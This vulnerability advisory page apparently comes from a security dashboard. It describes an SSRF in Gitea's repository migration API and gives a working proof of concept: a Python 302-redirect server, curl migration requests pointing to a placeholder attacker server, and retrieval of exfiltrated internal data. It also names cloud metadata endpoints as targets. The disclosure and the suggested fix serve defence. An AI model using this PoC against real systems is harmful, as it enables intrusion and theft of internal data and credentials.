Kestrel
대시보드로 돌아가기
CVE-2026-58418MEDIUM· 6.5MITRENVDGHSA대응게시일: 2026. 07. 03.수정일: 2026. 07. 21.

Gitea: SSRF via HTTP Redirect in Repository Migration

SSRF

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.5medium

이론적 심각도 점수

EPSS
0.2%상위 84.3%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.16.5MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

상세 설명

Summary

Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (POST /api/v1/repos/migrate) and correctly blocks requests to internal addresses like 127.0.0.1 or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.

Affected Version

Gitea 1.25.4 (latest stable at time of writing), default configuration.

Prerequisites

  1. A regular Gitea user account (no admin privileges required)
  2. An attacker-controlled server reachable from the internet that serves HTTP 302 redirects

Reproduction

Environment

RoleLocationNetwork
AttackerAny machine with internet accessExternal network (VLAN A)
Gitea ServerWindows 11 VM, Gitea 1.25.4, default config, SQLiteInternal network (VLAN B)
Internal serviceSame VM, bound to 127.0.0.1:18082Localhost only
Redirect serverAttacker-controlled public server, port 18080Internet

The attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.

Step 1: Create an attacker account on Gitea

Register a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under Settings > Applications with the repo: write scope. The migration endpoint requires this because it creates a new repository. This token is referenced as <USER_TOKEN> in the steps below.

Step 2: Set up an internal service on the Gitea host

On the Gitea VM, create a bare Git repository that simulates an internal service:

text
1mkdir C:\internal-repo
2cd C:\internal-repo
3git init
4echo CONFIDENTIAL_DATA_2025 > secret.txt
5git add .
6git commit -m "internal confidential"
7git clone --bare . C:\internal.git
8cd C:\internal.git
9git update-server-info
10python -m http.server 18082 --bind 127.0.0.1

This serves a Git repository on localhost port 18082. It is not reachable from outside the machine.

Step 3: Confirm Gitea blocks direct access to internal addresses

From the attacker machine:

bash
1curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
2 -H "Authorization: token <USER_TOKEN>" \
3 -H "Content-Type: application/json" \
4 -d '{
5 "clone_addr": "http://127.0.0.1:18082/",
6 "repo_name": "direct-test",
7 "service": "git"
8 }'

Response:

text
1{"message":"You can not import from disallowed hosts."}

This confirms that Gitea correctly blocks migration from internal addresses when provided directly.

Step 4: Set up a redirect server

On an attacker-controlled public server, run a script that redirects all requests to the internal service:

python
1from http.server import BaseHTTPRequestHandler, HTTPServer
2
3class RedirectHandler(BaseHTTPRequestHandler):
4 def do_GET(self):
5 path = self.path
6 if path.startswith("/repo.git"):
7 path = path[len("/repo.git"):]
8 target = f"http://127.0.0.1:18082{path}"
9 self.send_response(302)
10 self.send_header("Location", target)
11 self.end_headers()
12 print(f"[+] Redirected {self.path} -> {target}")
13
14 do_HEAD = do_GET
15
16HTTPServer(("0.0.0.0", 18080), RedirectHandler).serve_forever()

Step 5: Exploit the redirect bypass

From the attacker machine:

bash
1curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
2 -H "Authorization: token <USER_TOKEN>" \
3 -H "Content-Type: application/json" \
4 -d '{
5 "clone_addr": "http://<ATTACKER_SERVER>:18080/repo.git",
6 "repo_name": "exfil-test",
7 "service": "git",
8 "private": true
9 }'

Response: HTTP 201 Created. The migration succeeds.

Step 6: Retrieve the exfiltrated data

From the attacker machine:

text
1git clone http://attacker:password@<GITEA_SERVER>:3000/attacker/exfil-test.git
2cat exfil-test/secret.txt

Output:

text
1CONFIDENTIAL_DATA_2025

The attacker now has the contents of the internal repository that was only accessible on localhost.

What happens during the attack

  1. The attacker sends a migration request pointing to their public server.
  2. Gitea validates the URL. The destination is a public IP, so it passes the check.
  3. Gitea contacts the attacker's server to clone the repository.
  4. The attacker's server responds with 302 Location: http://127.0.0.1:18082/...
  5. Gitea follows the redirect to 127.0.0.1 without validating the new destination.
  6. The internal service responds and Gitea stores the result as a new repository owned by the attacker.
  7. The attacker clones their newly created repository and reads the internal data.

Impact

Any authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:

  1. Internal Git repositories or other version control systems not exposed to the internet
  2. Cloud metadata endpoints (169.254.169.254) which serve temporary credentials on AWS, GCP, and Azure
  3. Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks
  4. Other services within the same network segment that trust connections from the Gitea server

The full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.

Suggested Fix

Validate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.